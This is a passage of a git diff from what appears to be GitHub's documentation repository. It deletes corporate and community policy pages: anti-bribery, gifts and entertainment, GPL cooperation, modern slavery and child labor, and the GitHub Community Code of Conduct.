about whether or not content should be reported as copyright, trademark, or private information, we recommend consulting with independent legal counsel. - -## DMCA Takedown Policy - -The [DMCA Takedown Policy](/site-policy/content-removal-policies/dmca-takedown-policy) can be used to report content that you believe infringes a copyright owned by you or your organization. Once you have reviewed the policy, you may also want to review our [Guide to Submitting a DMCA Takedown Notice](/site-policy/content-removal-policies/guide-to-submitting-a-dmca-takedown-notice) before submitting a report. - -## GitHub Trademark Policy - -The [GitHub Trademark Policy](/site-policy/content-removal-policies/github-trademark-policy) can be used to report content that appears to use your company or business name, logo, or other trademark-protected materials in a manner that may mislead or confuse others about brand or business affiliation. - -## GitHub Private Information Removal Policy - -The [GitHub Private Information Removal Policy](/site-policy/content-removal-policies/github-private-information-removal-policy) can be used to report data that is private (confidential and poses a security risk), but that is not necessarily protected by copyright or trademark. - -Users in India can [contact GitHub's Grievance Officer](https://support.github.com/contact/india-grievance-officer). diff --git a/content/site-policy/github-company-policies/github-anti-bribery-statement.md b/content/site-policy/github-company-policies/github-anti-bribery-statement.md deleted file mode 100644 index b7bed130fd29..000000000000 --- a/content/site-policy/github-company-policies/github-anti-bribery-statement.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: GitHub Anti-Bribery Statement -redirect_from: - - /articles/github-anti-bribery-statement - - /github/site-policy/github-anti-bribery-statement -versions: - fpt: '*' -topics: - - Policy - - Legal ---- -GitHub upholds our commitment to ethical business practices, including by prohibiting bribery and corruption. As [Transparency International](https://www.transparency.org/what-is-corruption) explains, the costs of corruption are -* **political**, by posing a major obstacle to democracy and the rule of law -* **economic**, by depleting national wealth -* **social**, by undermining people’s trust in political society, institutions, and leaders -* **environmental**, by facilitating non-enforcement of environmental laws and regulations. - -According to the [World Bank](https://www.worldbank.org/en/topic/governance/brief/anti-corruption) in 2017, businesses and individuals pay an estimated $1.5 trillion in bribes each year. - -## GitHub policies prohibiting bribery - -GitHub makes our anti-bribery commitment clear in a number of company policies. As part of the Microsoft family, GitHub is also committed to Microsoft's Anti-Corruption Policy, which applies to all GitHub employees and contractors, in addition to the policies described here. - -GitHub's **Code of Ethics** prohibits employees and contractors from engaging in or contributing to bribery or corruption, and establishes record-keeping requirements: - ->You must never pay, offer to pay, promise to pay, induce, accept, or authorize payment of anything else of value, to anyone—including to anyone in a position of power or authority, such as government officials, or in commercial transactions—in order to obtain or keep business, or secure any other improper advantage for GitHub or Microsoft. You also must not solicit or accept a bribe, kickback, or any other improper cash payment. ... [GitHub employees] are required to keep accurate and fair records of all transactions involving any expense made on GitHub’s behalf—for example, by keeping receipts and providing accurate descriptions of your expenses—or any other transaction involving the disposal or transfer of GitHub assets. Such actions are required by the U.S. Foreign Corrupt Practices Act, the U.K. Bribery Act of 2010, and anti-bribery laws of other jurisdictions in which GitHub does business and are also simply the right thing to do. - -GitHub's Code of Ethics elaborates on certain situations, including gifts, travel, and entertainment; facilitating payments; charitable donations; jobs; and working with representatives, as well as on who is considered a government official. - -GitHub's Standards of Conduct prohibit: ->Bribing government officials or other individuals to gain an unfair advantage, and taking bribes from anyone. - -GitHub’s **Gifts and Entertainment Policy** explains that bribery is not permitted in connection with travel or entertainment, and provides examples to illustrate improper conduct. The policy describes proper and improper gifts, travel, and entertainment expenses; company processes for gift-giving by GitHub’s directors, officers, employees, and agents and requirements for record-keeping, penalties; and reporting of violations. It includes clear monetary thresholds for gifts along with annual limitations, with limited exceptions for gifts approved by appropriate management. The policy is clear and easily accessible to GitHub employees and contractors. - -## Training for our employees - - - -GitHub employees are required to participate in training on corruption, including bribery. We also provide additional training for particularly relevant people and teams, such as our sales team. The training explains relevant elements of the U.S. Foreign Corrupt Practices Act and the U.K. Bribery Act of 2010. For example, -* definition and structural effects of corruption -* who is covered, including - * public officials or others in a position of power - * third parties -* what kind of activity is covered, including - * cash, gifts, travel, and entertainment - * facilitation payments - * charitable contributions and sponsorship -* for what purpose, including - * intent - * improper advantage or influence -* due diligence and red flags -* record-keeping requirements - - - -In addition, the training covers GitHub’s internal policies related to anti-corruption and bribery, including our non-retaliation (whistleblower) policy. - -While the U.S. FCPA is focused on interactions with government officials, the U.K. Bribery Act is broader and extends to bribing anyone, regardless of whether they are a government official. Both laws can extend to GitHub’s actions elsewhere on the globe. GitHub’s policies prohibit bribing anyone, anywhere in the world. - -## Engaging our Partners - -* GitHub’s standard **resale agreements with Channel Partners** include mandatory anti-corruption clauses. Going forward, GitHub now requires our Channel Partners to commit to complying with this Anti-Corruption Statement. -* Going forward, GitHub’s **vendor contracts** now require a commitment to comply with Microsoft's Supplier Code of Conduct or this Anti-Corruption Statement. diff --git a/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md b/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md deleted file mode 100644 index 86673ccf84ee..000000000000 --- a/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: GitHub Gifts and Entertainment Policy -redirect_from: - - /articles/github-gifts-and-entertainment-policy - - /github/site-policy/github-gifts-and-entertainment-policy -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -GitHub recognizes that our business is built on positive and transparent relationships. While informal interactions and exchanges of gifts may be part of developing those relationships and may even be considered customary in some countries, we need to ensure that we’re following anti-bribery laws. We have a legal obligation to behave ethically, including by not using such interactions to create a special advantage or influence a deal. - -## Company policies - -As a reminder, our Code of Ethics states: - ->You must never pay, offer to pay, promise to pay, induce, accept, or authorize payment of anything else of value, to anyone—including to anyone in a position of power or authority, such as government officials, or in commercial transactions—in order to obtain or keep business, or secure any other improper advantage for GitHub or Microsoft. You also must not solicit or accept a bribe, kickback, or any other improper cash payment. ... [GitHub employees] are required to keep accurate and fair records of all transactions involving any expense made on GitHub’s behalf—for example, by keeping receipts and providing accurate descriptions of your expenses—or any other transaction involving the disposal or transfer of GitHub assets. Such actions are required by the U.S. Foreign Corrupt Practices Act, the U.K. Bribery Act of 2010, and anti-bribery laws of other jurisdictions in which GitHub does business and are also simply the right thing to do. - -GitHub's Code of Ethics elaborates on certain situations, including gifts, travel, and entertainment; facilitating payments; charitable donations; jobs; and working with representatives, as well as on who is considered a government official. - -Our Standards of Conduct prohibit: ->Bribing government officials or other individuals to gain an unfair advantage, and taking bribes from anyone. - -That means not only no cash or cash equivalent of any kind, but nothing of value, should be given to anyone (including civil servants, government officials, or anyone in a position of power or authority, as well as people not in any of those privileged positions) in order to influence them or taken from anyone to influence GitHub. Such activity is prohibited by the U.S. Foreign Corrupt Practices Act and UK Anti-Bribery laws, both of which govern GitHub’s actions globally. - -## Examples of acceptable and unacceptable gifts - -So what does “of value” mean? Keep in mind that no gifts are acceptable for government officials (ok, maybe stickers). You should always ask them what their policies permit and prohibit. But if in doubt, please run it by Legal to make sure. For example, many U.S. congresspeople will not let you take them out for dinner and pay. - -As for other customers or prospective customers, certain things might seem trivial but have great value to someone else. For example, although it might not seem like a big deal to you to get your friend’s daughter hired as an intern, it might be of huge value to them. But if she is not qualified and you pull strings to make it happen, then it isn't ok. In addition, if the intention is to improperly influence, anything, however small, might be considered "of value." - -🙅 _Here are some other things that aren't ok:_ - -* First class airfare to GitHub offices for Executive Briefings ✈️+🍾 -* Winery tours 🍷 -* Recommending a friend’s kid to a prestigious private school for admission 🎓 -* Tickets to Disneyland 👸, the World Cup 🥅, the Olympics 🏅 -* A futbol ⚽️ autographed by a famous player -* A contribution to a charity - -🙆 _Here is some stuff that is actually ok for customers or prospective customers:_ - -* Swag -* Economy class airfare to GitHub offices for Executive Briefings ✈️ -* Bleacher-type tickets to a sporting event ⚾️ -* A reasonably priced dinner in town 🍽 -* A small box of chocolates as an end of year thank you 🍫 - -All of the above applies to _taking_ bribes too. So if a vendor or prospective vendor sends you something “of value,” don’t accept it—or at least run it by Legal before you do. - -## Process - -If you are planning to provide or accept an informal gift (that is not one of our promotional items like t-shirts and sticker swag), please make sure to follow the process below. - -Keep in mind that what's an acceptable amount can vary. For example, spending $50 on dinner might be considered a lot of money in some countries but not as much in others. So, when in doubt, ask! - -1. Generally speaking, for any expenses exceeding $150, you'll need approval (each time) from Legal in writing. And for any gifts you receive exceeding $150, you'll need to report that (each time) to Legal in writing. (Legal is just weighing in on the bribery question. You might still need to check with Finance for other reasons.) - -1. When you submit your expense report for reimbursement, please: - * Indicate the recipient and the purpose of the gift in the notes; and - * Include a copy of the email approval - -## Consequences - -What happens if you don’t follow the policy and GitHub ends up paying for a prospective customer and his family to fly first class to Japan and attend the Tokyo Olympics? Or if you drop off a suitcase of Euros for a government official in a pre-arranged train station locker? - -FINES and JAIL. Not necessarily just for GitHub, either. You might get to spend a few years in jail, yourself, and it won’t matter if the customer ever submitted an order to GitHub after their trip to Japan or if the government official even picked up the suitcase of cash. Basically, it doesn’t matter whether you actually _made_ a bribe. Yoda notwithstanding, it’s the trying that counts. - -## More information - -For more information and context on rules, enforcement, and penalties, the U.S. Department of Justice’s [Resource Guide to the U.S. Foreign Corrupt Practices Act](https://www.justice.gov/sites/default/files/criminal-fraud/legacy/2015/01/16/guide.pdf) is an excellent resource. diff --git a/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md b/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md deleted file mode 100644 index b85a089cbe97..000000000000 --- a/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: GitHub GPL Cooperation Commitment -redirect_from: - - /articles/github-gpl-cooperation-commitment - - /github/site-policy/github-gpl-cooperation-commitment -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -This commitment pertains to GitHub contributions to Git, the Linux kernel, and other programs under covered licenses (scroll to the end for definitions). - -We based our statement on the [template](https://github.com/gplcc/gplcc/blob/master/Company/GPL%20Cooperation%20Commitment-Company-Template.md) for companies. See the [GPL Cooperation Commitment site](https://gplcc.github.io/gplcc/) for how other companies, individuals, and projects can adopt this commitment. - -## Our Commitment - -Before filing or continuing to prosecute any legal proceeding or claim (other than a Defensive Action) arising from termination of a Covered License, GitHub commits to extend to the person or entity (“you”) accused of violating the Covered License the following provisions regarding cure and reinstatement, taken from GPL version 3. As used here, the term ‘this License’ refers to the specific Covered License being enforced. - -However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. - -Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. - -GitHub intends this Commitment to be irrevocable, and binding and enforceable against GitHub and assignees of or successors to GitHub’s copyrights. - -GitHub may modify this Commitment by publishing a new edition on this page or a successor location. - -Definitions - -‘Covered License’ means the GNU General Public License, version 2 (GPLv2), the GNU Lesser General Public License, version 2.1 (LGPLv2.1), or the GNU Library General Public License, version 2 (LGPLv2), all as published by the Free Software Foundation. - -‘Defensive Action’ means a legal proceeding or claim that GitHub brings against you in response to a prior proceeding or claim initiated by you or your affiliate. - -‘GitHub’ means GitHub, Inc. and its subsidiaries. - -This work is available under a Creative Commons Attribution-ShareAlike 4.0 International license. diff --git a/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md b/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md deleted file mode 100644 index ec0f62eed1ce..000000000000 --- a/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: GitHub Statement Against Modern Slavery and Child Labor -redirect_from: - - /articles/github-statement-against-modern-slavery-and-child-labor - - /github/site-policy/github-statement-against-modern-slavery-and-child-labor -versions: - fpt: '*' -topics: - - Policy - - Legal ---- -_2018 statement_ - -According to the International Labour Organization (ILO), [40 million people were victims of modern slavery and 152 million children were subject to child labor](https://www.ilo.org/global/about-the-ilo/newsroom/news/WCMS_574717/lang--en/index.htm) globally in 2016. As the [ILO reports](https://www.ilo.org/topics-and-sectors/forced-labour-modern-slavery-and-trafficking-persons): - * 1 in 4 victims of modern slavery are children. - * Out of the 24.9 million people trapped in forced labour, 16 million people are exploited in the private sector such as domestic work, construction or agriculture; 4.8 million persons in forced sexual exploitation, and 4 million persons in forced labour imposed by state authorities. - * Women and girls are disproportionately affected by forced labour, accounting for 99% of victims in the commercial sex industry, and 58% in other sectors. - -GitHub deplores the presence and persistence of modern slavery and child labor, and takes seriously its responsibility to ensure that neither modern slavery nor child labor takes place in its supply chain or in any part of its business. ("Modern slavery" in this statement refers to slavery, forced or compulsory labor, trafficking, servitude, and workers who are imprisoned, indentured, or bonded. "Child labor" refers to work performed by someone under 16 years of age, or under 14 for light work, provided it is not confined to periods that interfere with the child's schooling and not in conditions that interfere with the child's health or well-being.) - -In accordance with the [UK Modern Slavery Act](https://www.legislation.gov.uk/ukpga/2015/30/section/54/enacted), and in alignment with the [ILO 2014 Protocol to its Forced Labour Convention](https://www.ilo.org/dyn/normlex/en/f?p=NORMLEXPUB:12100:0::NO::P12100_ILO_CODE:P029), [ILO Declaration on Fundamental Principles and Rights at Work](https://www.ilo.org/ilo-declaration-fundamental-principles-and-rights-work), and [United Nations Sustainable Development Goals target 8.7](https://www.unodc.org/roseap/en/sustainable-development-goals.html#:~:text=Target%208.7%20%2D%20Take%20immediate%20and,labour%20in%20all%20its%20forms), this 2018 Statement Against Modern Slavery and Child Labor ("the Statement") describes the steps GitHub has taken to prevent modern slavery and child labor from occurring in its business or supply chain. - -## GitHub's structure, business, and supply chains - -GitHub is a software development platform with its headquarters in San Francisco, and employees and contractors working in numerous countries. - -All GitHub employees and individual independent contractors are voluntary and at-will. GitHub has a largely distributed workforce, and strives to provide competitive compensation and benefits to its employees and contractors regardless of location. This is true whether we hire independent contractors directly or through an intermediary. - -GitHub does not conduct manufacturing or produce hardware, nor does GitHub use recruitment agencies for the kinds of services often performed by migrant workers. The nature of GitHub's business does not subject it to sudden changes in workload or pricing pressures, which often drive demand for practices that increase the risk of forced labor in supply chains, such as forced overtime. - -GitHub offers free and paid software and web-based software as a service to customers all over the world. GitHub's products include: - * GitHub.com: web-based collaboration and code-hosting platform - * GitHub Enterprise: on-premises collaboration and code hosting software - * Electron: framework for writing cross-platform desktop apps - * GitHub Desktop: desktop app for accessing GitHub.com and GitHub Enterprise - -GitHub's supply chain consists of goods and services for our products and operations including computing services, event planning, purchase of retail and promotional items, office supplies, and leasing of facilities such as office space and data centers. - -## Policies in relation to modern slavery and child labor - -### Modern slavery and child labor - -**GitHub's Code of Ethics** prohibits knowingly using, participating in, supporting, or tolerating modern slavery (slavery, forced or compulsory labor, trafficking, servitude, or workers who are imprisoned, indentured, or bonded) or child labor in its business operations. Any GitHub employee or contractor who violates this prohibition will be subject to termination of employment or business relationship. - -**GitHub's Standards of Conduct** prohibit unsafe and illegal conduct, including knowingly using, participating in, supporting, or tolerating modern slavery (slavery, forced or compulsory labor, trafficking, servitude, or workers who are imprisoned, indentured, or bonded) or child labor. - -GitHub complies with laws prohibiting trafficking and child labor in the jurisdictions in which it operates, including [U.S. Federal Acquisition Regulation 22.17 on combatting human trafficking](https://www.govinfo.gov/content/pkg/CFR-2009-title48-vol1/pdf/CFR-2009-title48-vol1-part22-subpart22-17.pdf). - -In addition, GitHub established a partnership with the FairHotel Program, which means GitHub encourages its employees to choose FairHotel endorsed hotels-where workers have fair wages, adequate benefits, and a voice on the job. Being a FairHotel partner also signifies that GitHub provides business to hotels as a fair employer. - -Going forward, GitHub will communicate this Statement to all employees, contractors, and suppliers, including recruiters and employment agencies. In addition, GitHub is developing training for all GitHub employees on modern slavery and child labor. GitHub posts its Statement Against Modern Slavery and Child Labor publicly. - -GitHub has a non-retaliation policy for reporting workplace-related concerns. Consistent with this Statement, GitHub allows employees and contractors to report issues regarding modern slavery and child labor without fear of retaliation. - -## Labor laws and practices - -GitHub's labor practices are - -**fair:** - * GitHub pays its employees and contractors a fair wage, in accordance with applicable legal wages - * GitHub maintains humane working conditions - * GitHub does not require workers to exceed the maximum hours of daily labor set by local and national laws or regulations - * GitHub pays its employees and contractors in a timely manner, with documentation (such as a pay stub) stating the basis on which they are paid, and keeps employee records in accordance with local and national laws - -**humane and ethical:** - * GitHub uses only voluntary labor - * GitHub prohibits child labor - * GitHub does not engage in physical discipline or abuse - * GitHub does not tolerate harassment or unlawful discrimination in the workforce or workplace - -**respectful:** - * GitHub protects its employees' rights to freedom of association and collective bargaining in accordance with legal requirements, including to post legal notices of employees' rights under the National Labor Relations Act - * GitHub provides benefits to employees at or in excess of levels expected in the industry - * GitHub encourages employees to report any workplace complaint and does not tolerate retaliation for reporting - -## Due diligence processes in relation to modern slavery and child labor in its business and supply chains - -GitHub assesses its business and supply chain for risks related to modern slavery and child labor. Drawing on internal and external human rights expertise, GitHub engaged in a cross-functional analysis (including Policy, Legal, Procurement, Finance, and Operations, especially Human Resources) to determine where labor services exist in its business and supply chain and to identify potential risks related to modern slavery and child labor. GitHub prioritizes areas where those risks might be more significant in terms of severity, scale, or probability for greater due diligence, monitoring, and verification. GitHub continues to consider where risks may occur and how to address them. In addition, GitHub now obtains its suppliers' assurance that they have practices consistent with this Statement, including by complying with laws related to modern slavery or child labor. - -## Places in GitHub's business and supply chains where there is a risk of modern slavery and child labor, and steps GitHub has taken to assess and manage that risk - -GitHub has not identified any high-risk suppliers; however, modern slavery or child labor would be more likely to occur with suppliers for services involving manual labor, such as event support, construction, facilities services, and food services. GitHub will audit its existing suppliers and require those in such higher risk areas to confirm that they provide services consistent with this Statement. - -Although GitHub knows of no actual or alleged modern slavery or child labor in its business or supply chain, and has no credible basis to believe it is occurring, GitHub is committed to providing remedies if GitHub itself were to directly cause modern slavery or child labor and to remediation of broader patterns of non-conformance with this Statement caused by deficiencies in GitHub's systems or processes. GitHub's remediation to individual victims would include protocols for appropriate immediate action to eliminate the modern slavery and child labor practices, along with resources for reasonable and appropriate victim services designed to offset the harm experienced. - -## Effectiveness in ensuring neither modern slavery nor child labor is occurring in GitHub's business or supply chains - -GitHub complies and will continue to comply with laws related to modern slavery and child labor. - -Going forward, GitHub now requires its suppliers to comply with this Statement, as well as laws related to modern slavery and child labor. GitHub now also requires its suppliers to: - * Not use, participate in, support, or tolerate modern slavery or child labor - * Not use misleading or fraudulent recruitment or engagement practices for employees or contract workers - * Not charge employees or contract workers recruitment or engagement fees - * Not destroy, conceal, confiscate, or otherwise deny access by an employee or any contract worker to passport, driver's license, or other identity documents; - * Allow us to terminate our agreements with them for any violation of its obligations related to modern slavery or child labor; and - * Remediate any harms caused to any worker found to be subjected to any form of modern slavery or child labor, if required by law. - -In addition, GitHub strongly encourages its suppliers to: - * Conduct anti-modern slavery and child labor due diligence processes, including risk assessments, for their suppliers; - * Take steps to address risks identified; and - * Use similar anti-modern slavery and child labor language with their suppliers. - -GitHub's procurement instructions to employees making company purchases now includes a reference to the requirement for suppliers to comply with Microsoft's Supplier Code of Conduct or this Statement. - -## Training for GitHub staff about modern slavery and human trafficking - -GitHub is developing modern slavery and child labor training that will be mandatory for all employees, with a view to GitHub's business and supply chain. GitHub will emphasize suppliers providing services involving manual labor, such as event support, construction, facilities services, and food services, as areas of greater potential risk. - -**GitHub's Board of Directors approved this Statement. See a [copy of this statement signed by GitHub's Chief Strategy Officer and General Counsel (PDF)](/assets/images/help/site-policy/github-statement-against-modern-slavery-and-child-labor.pdf).** diff --git a/content/site-policy/github-company-policies/index.md b/content/site-policy/github-company-policies/index.md deleted file mode 100644 index c1b0dd22eeb9..000000000000 --- a/content/site-policy/github-company-policies/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: GitHub Company Policies -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /github-statement-against-modern-slavery-and-child-labor - - /github-anti-bribery-statement - - /github-gpl-cooperation-commitment - - /github-gifts-and-entertainment-policy ---- - diff --git a/content/site-policy/github-terms/github-community-code-of-conduct.md b/content/site-policy/github-terms/github-community-code-of-conduct.md deleted file mode 100644 index b713c52d7237..000000000000 --- a/content/site-policy/github-terms/github-community-code-of-conduct.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: GitHub Community Code of Conduct -redirect_from: - - /articles/github-community-forum-code-of-conduct - - /github/site-policy/github-community-forum-code-of-conduct - - /github/site-policy/acceptable-use-policies/github-community-forum-code-of-conduct - - /site-policy/github-terms/github-community-forum-code-of-conduct -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -## Overview and Purpose - -Millions of developers across the world host millions of projects—both open and closed source—on GitHub. We're fortunate to be able to play a part in enabling collaboration across the developer community every day, which is a responsibility we don’t take lightly. Together, we all have the exciting opportunity to make this a community we can be proud of. - -GitHub Community, powered by GitHub Discussions, is intended to be a place for further collaboration, support, and brainstorming. This is a civilized place for connecting with other users, learning new skills, sharing feedback and ideas, and finding all the support you need for your GitHub projects. By participating in GitHub Community, you are agreeing to the same [Terms of Service](/site-policy/github-terms/github-terms-of-service) and [GitHub Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) that apply to GitHub.com, as well as this GitHub Community-specific Code of Conduct. - -With this Code of Conduct, we hope to help you understand how best to collaborate in GitHub Community, what you can expect from moderators, and what type of actions or content may result in temporary or permanent suspension from community participation. We will investigate any abuse reports and may moderate public content within GitHub Community that we determine to be in violation of either the GitHub Terms of Service or this Code of Conduct. - -Our diverse user base brings different perspectives, ideas, and experiences, and ranges from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub an environment that welcomes all the different voices and perspectives our community has to offer, while maintaining a safe place for developers to do their best work. - -## Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in GitHub Community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Standards - -Treat GitHub Community with respect. We are a shared resource — a place to share skills, knowledge, and interests through ongoing conversation. - -The following are not hard and fast rules, merely aids to the human judgment of our community. Use these guidelines to keep this a clean, well-lighted place for civilized public discourse. - -### _Best Practices for Maintaining a Strong Community_ - -The primary purpose of the GitHub community is to collaborate on software projects. We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. At the same time, it's important that users remain respectful and allow space for others to contribute openly. In order to foster both a safe and productive environment, we encourage our community members to look to these guidelines to inform how they interact on our platform. Below, you’ll find some suggestions for how to have successful interactions as a valued member of the GitHub community. - -* Engage with consideration and respect. - - * **Be welcoming and open-minded** - New users join our community each day. Some are well-established developers, while others are just beginning. Be open to other ideas and experience levels. Make room for opinions other than your own and be welcoming to new collaborators and those just getting started. - - * **Be respectful** - Working in a collaborative environment means disagreements may happen. But remember to criticize ideas, not people. Share thoughtful, constructive criticism and be courteous to those you interact with. If you’re unable to engage respectfully, consider taking a step back or using some of our moderation tools to deescalate a tense situation. - - * **Be empathetic** - GitHub is a global community with people from a wide variety of backgrounds and perspectives, many of which may not be your own. Try to put yourself in others’ shoes and understand their feelings before you address them. Do your best to help make GitHub a community where others feel safe to make contributions, participate in discussions, and share different ideas. - -* Contribute in a positive and constructive way. - * **Improve the discussion.** Help us make this a great place for discussion by always working to improve the discussion in some way, however small. If you are not sure your post adds to the conversation, think over what you want to say and try again later. - - The topics discussed here matter to us, and we want you to act as if they matter to you, too. Be respectful of the topics and the people discussing them, even if you disagree with some of what is being said. - * **Be clear and stay on topic.** GitHub Community is for collaboration, sharing ideas, and helping each other get stuff done. Off-topic comments are a distraction (sometimes welcome, but usually not) from getting work done and being productive. Staying on topic helps produce positive and productive discussions. - - This applies to sharing links, as well. Any links shared in GitHub Community discussions should be shared with the intent of providing relevant and appropriate information. Links should not be posted to simply drive traffic or attention to a site. Links should always be accompanied by a full explanation of the content and purpose of the link. Posting links, especially unsolicited ones, without relevant and valuable context can come across as advertising or serving even more malicious purposes. - - * **Share mindfully.** When asking others to give you feedback or collaborate on a project, only share valuable and relevant resources to provide context. Don't post links that don't add value to the discussion, and don't post unsolicited links to your own projects or sites on other user's threads. - - Additionally, don't share sensitive information. This includes your own email address. We don't allow the sharing of such information in GitHub Community, as it can create security and privacy risks for the poster, as well as other users. If you'd like to invite other GitHub users to collaborate on a project or work with you, share a link to the repository in which the project you are working on exists. By sharing the link to your project repo - with some information on what your project is and what kind of help or feedback you're looking for - you can invite others to collaborate with you via issues or pull requests without having to share your private information. You can also add others as outside collaborators on your project repo to give them special permissions to help you develop your project. - * **Keep it tidy.** Make the effort to put things in the right place, so that we can spend more time discussing and less time cleaning up. So: - * Don’t start a discussion in the wrong category. - * Don’t cross-post the same thing in multiple discussions. - * Don’t post no-content replies. - * Don't "bump" posts, unless you have new and relevant information to share. - * Don’t divert a discussion by changing it midstream. - - Rather than posting “+1” or “Agreed”, use the upvote button. Rather than taking an existing discussion in a radically different direction, open a new discussion. - -* Be trustworthy. - * **Always be honest.** Don’t knowingly share incorrect information or intentionally mislead other GitHub Community participants. If you don’t know the answer to someone’s question but still want to help, you can try helping them research or find resources instead. GitHub staff will also be active in GitHub Community, so if you’re unsure of an answer, it’s likely a moderator will be able to help. - -### _What is not Allowed_ - -GitHub's [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies), which are part of GitHub's [Terms of Service](/site-policy/github-terms/github-terms-of-service), set a baseline for what is not allowed on GitHub. Since GitHub Community is on GitHub.com, these terms and restrictions apply to GitHub Community, including the following restrictions: - -* **Anyone under the age of 13.** If you're a child under the age of 13, you may not have an account on GitHub. GitHub does not knowingly collect information from or direct any of our content specifically to children under 13. If we learn or have reason to suspect that you are a user who is under the age of 13, we will unfortunately have to close your GitHub.com account. We don't want to discourage you from learning to code, but those are the rules. Please see our [Terms of Service](/site-policy/github-terms/github-terms-of-service) for information about account termination. - -* **Creating new account after account restriction.** GitHub's [Terms of Service](/site-policy/github-terms/github-terms-of-service) state that "One person or legal entity may maintain no more than one free Account." Additional free accounts created to inquire about flagged or suspended accounts in GitHub will be removed. - -* **Other conduct which could reasonably be considered inappropriate in a professional setting.** GitHub Community is a professional space and should be treated as such. - -* **Violation of Terms of Service.** If your GitHub.com account is identified in violation of [Terms of Service](/site-policy/github-terms/github-terms-of-service) we will have to close your account. - -### _Reasonable use of AI generated content_ - -We love experimenting with new technologies, and we are especially fond of [GitHub Copilot](https://github.com/features/copilot). But as with all new technology, many of us are still getting accustomed to using generative AI tools the most effectively. Here are important guidelines to follow when using generative AI to answer questions in the community: - - * Take personal responsibility for everything you post. - * Read and revise the content before you post it; use your own authentic voice. - * Use your expertise as a developer to verify that the answer works and makes sense. - * Do not just post AI-generated content verbatim to inflate your reputation or give a false impression of product expertise. - * AI tools will often answer in an authoritative tone that sounds like a tech support professional. Be careful not to [mislead other users](/site-policy/acceptable-use-policies/github-impersonation) into thinking that this authoritative tone means they are receiving an official response from GitHub. - -Additionally, all of the guidelines listed in the previous section ([Best Practices for Maintaining a Strong Community](/site-policy/github-terms/github-community-code-of-conduct#best-practices-for-maintaining-a-strong-community)) also apply here. - -The community is here for users to build trust through authentic reputations. Not adhering to these guidelines may, in some cases, constitute a Code of Conduct violation. Refer to [the enforcement section](#enforcement) below for more information. - -## Enforcement - -### _What GitHub Community Participants Can Do_ - -* **If you see a problem, report it.** Moderators have special authority; they are responsible for this GitHub Community. But so are you. With your help, moderators can be community facilitators, not just janitors or police. - - When you see bad behavior, don’t reply. It encourages the bad behavior by acknowledging it, consumes your energy, and wastes everyone’s time. You can report a disruptive user or disruptive content to GitHub. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam). - -### Our Responsibilities - -There are a variety of actions that we may take in response to inappropriate behavior or content. It usually depends on the exact circumstances of a particular case. We recognize that sometimes people may say or do inappropriate things for any number of reasons. Perhaps they did not realize how their words would be perceived. Or maybe they just let their emotions get the best of them. Of course, sometimes, there are folks who just want to spam or cause trouble. - -Each case requires a different approach, and we try to tailor our response to meet the needs of the situation. We'll review each situation on a case-by-case basis. In each case, we will have a diverse team investigate the content and surrounding facts and respond as appropriate, using this Code of Conduct to guide our decision. - -Actions we may take in response to a flag or abuse report include, but are not limited to: - * Content Removal - * Content Blocking - * GitHub Account Suspension - * GitHub Account Termination - -GitHub Community moderators who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the GitHub Community's leadership. - -## Contacting GitHub Staff - -If, for any reason, you want to contact GitHub Staff, the Community Managers, Administrators, or Moderators of GitHub Community privately, you can contact GitHub Support through the [GitHub Support portal](https://support.github.com/). Contacting any member of GitHub Staff via unsolicited mentions or pings, or via channels other than GitHub Community itself, or the Support contact form is strongly discouraged and may be considered a violation of our prohibition against harassment. - -Let's work together to keep GitHub Community a place where people feel safe to participate by being respectful of them and their time. - -## Legal Notices - -Yes, legalese is boring, but we must protect ourselves – and by extension, you and your data – against unfriendly folks. We have a [Terms of Service](/site-policy/github-terms/github-terms-of-service), which includes our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies), and our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement) describing your (and our) behavior and rights related to content, privacy, and laws. To use this service, you must agree to abide by our [Terms of Service](/site-policy/github-terms/github-terms-of-service), [GitHub Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) and the [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). - -This Code of Conduct does not modify our [Terms of Service](/site-policy/github-terms/github-terms-of-service)—which includes our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies)—and is not intended to be a complete list. GitHub retains full discretion under the [Terms of Service](/site-policy/github-terms/github-terms-of-service) to remove or restrict any content or accounts for activity that violates those policies, including because it is unlawful, offensive, threatening, 